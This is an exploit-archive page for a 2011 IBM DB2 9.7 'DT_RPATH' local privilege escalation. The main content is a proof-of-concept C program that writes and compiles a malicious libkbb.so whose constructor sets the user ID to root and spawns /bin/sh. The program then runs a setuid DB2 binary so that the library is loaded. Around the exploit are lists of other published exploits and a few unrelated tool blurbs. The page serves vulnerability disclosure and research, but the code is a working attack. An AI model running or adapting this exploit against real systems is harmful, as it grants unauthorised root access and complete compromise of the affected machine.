Menu

Search for hundreds of thousands of exploits

"IBM DB2 - 'DT_RPATH' Insecure Library Loading Arbitrary Code Execution"

Author

Exploit author

"Tim Brown"

Platform

Exploit platform

multiple

Release date

Exploit published date

2011-06-30

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// source: https://www.securityfocus.com/bid/48514/info

IBM DB2 is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue to gain elevated privileges and execute arbitrary code with root privileges. Successfully exploiting this issue will result in a complete compromise of the affected system.

IBM DB2 9.7 is vulnerable; other versions may also be affected. 

/*
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the Nth Dimension nor the names of its contributors may
be used to endorse or promote products derived from this software without
specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.

(c) Tim Brown, 2011
<mailto:timb@nth-dimension.org.uk>
<http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>

PoC exploit for IBM DB2 DT_RPATH privesc.
*/

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv) {
	FILE *badlibkbbsrchandle;
	int pwnedflag;
	printf("PoC exploit for IBM DB2 DT_RPATH privesc.\r\n");
	printf("(c) Tim Brown, 2011\r\n");
	printf("<mailto:timb@nth-dimension.org.uk>\r\n");
	printf("<http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>\r\n");
	printf("Constructing bad_libkbb.so...\r\n");
	badlibkbbsrchandle = fopen("bad_libkbb.c", "w");
	fprintf(badlibkbbsrchandle, "#include <stdio.h>\r\n");
	fprintf(badlibkbbsrchandle, "#include <unistd.h>\r\n");
	fprintf(badlibkbbsrchandle, "#include <stdlib.h>\r\n");
	fprintf(badlibkbbsrchandle, "\r\n");
	fprintf(badlibkbbsrchandle, "void __attribute__ ((constructor)) bad_libkbb(void) {\r\n");
	fprintf(badlibkbbsrchandle, "	printf(\"Have a root shell...\\r\\n\");\r\n");
	fprintf(badlibkbbsrchandle, "	setuid(geteuid());\r\n");
	fprintf(badlibkbbsrchandle, "	system(\"/usr/bin/id\");\r\n");
	fprintf(badlibkbbsrchandle, "	system(\"/bin/sh\");\r\n");
	fprintf(badlibkbbsrchandle, "	exit(0);\r\n");
	fprintf(badlibkbbsrchandle, "}\r\n");
	fclose(badlibkbbsrchandle);
	system("gcc -shared -fPIC -o libkbb.so bad_libkbb.c");
	system("/opt/ibm/db2/V9.7/itma/tmaitm6/lx8266/bin/kbbacf1");
	exit(0);
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2012-11-01 "Konqueror 4.7.3 - Memory Corruption" dos linux "Tim Brown"
2011-06-30 "IBM DB2 - 'DT_RPATH' Insecure Library Loading Arbitrary Code Execution" remote multiple "Tim Brown"
2011-01-31 "OpenVAS Manager - Command Injection" local linux "Tim Brown"
2010-02-10 "Accellion File Transfer - 'Appliance web_client_user_guide.html?lang' Traversal Arbitrary File Access" remote linux "Tim Brown"
2010-02-10 "Accellion Secure File Transfer Appliance - Multiple Command Restriction Weakness Privilege Escalations" local linux "Tim Brown"
2009-10-27 "KDE 4.3.2 - Multiple Input Validation Vulnerabilities" remote linux "Tim Brown"
2007-11-23 "Bandersnatch 0.4 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities" webapps php "Tim Brown"
2007-07-27 "Bandersnatch 0.4 - Multiple Input Validation Vulnerabilities" webapps php "Tim Brown"
2007-07-10 "ImgSvr 0.6 - 'Template' Local File Inclusion" webapps linux "Tim Brown"
2007-06-11 "JFFNms 0.8.3 - 'admin/setup.php' Direct Request Authentication Bypass" webapps php "Tim Brown"
2007-06-11 "JFFNms 0.8.3 - 'auth.php?user' Cross-Site Scripting" webapps php "Tim Brown"
2007-06-11 "JFFNms 0.8.3 - 'admin/adm/test.php' PHP Information Disclosure" webapps php "Tim Brown"
2007-06-11 "JFFNms 0.8.3 - 'auth.php' Multiple SQL Injections" webapps php "Tim Brown"
2007-05-03 "D-Link DSL-G624T - Var:RelaodHref Cross-Site Scripting" remote hardware "Tim Brown"
2002-11-12 "W3Mail 1.0.6 - File Disclosure" webapps cgi "Tim Brown"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.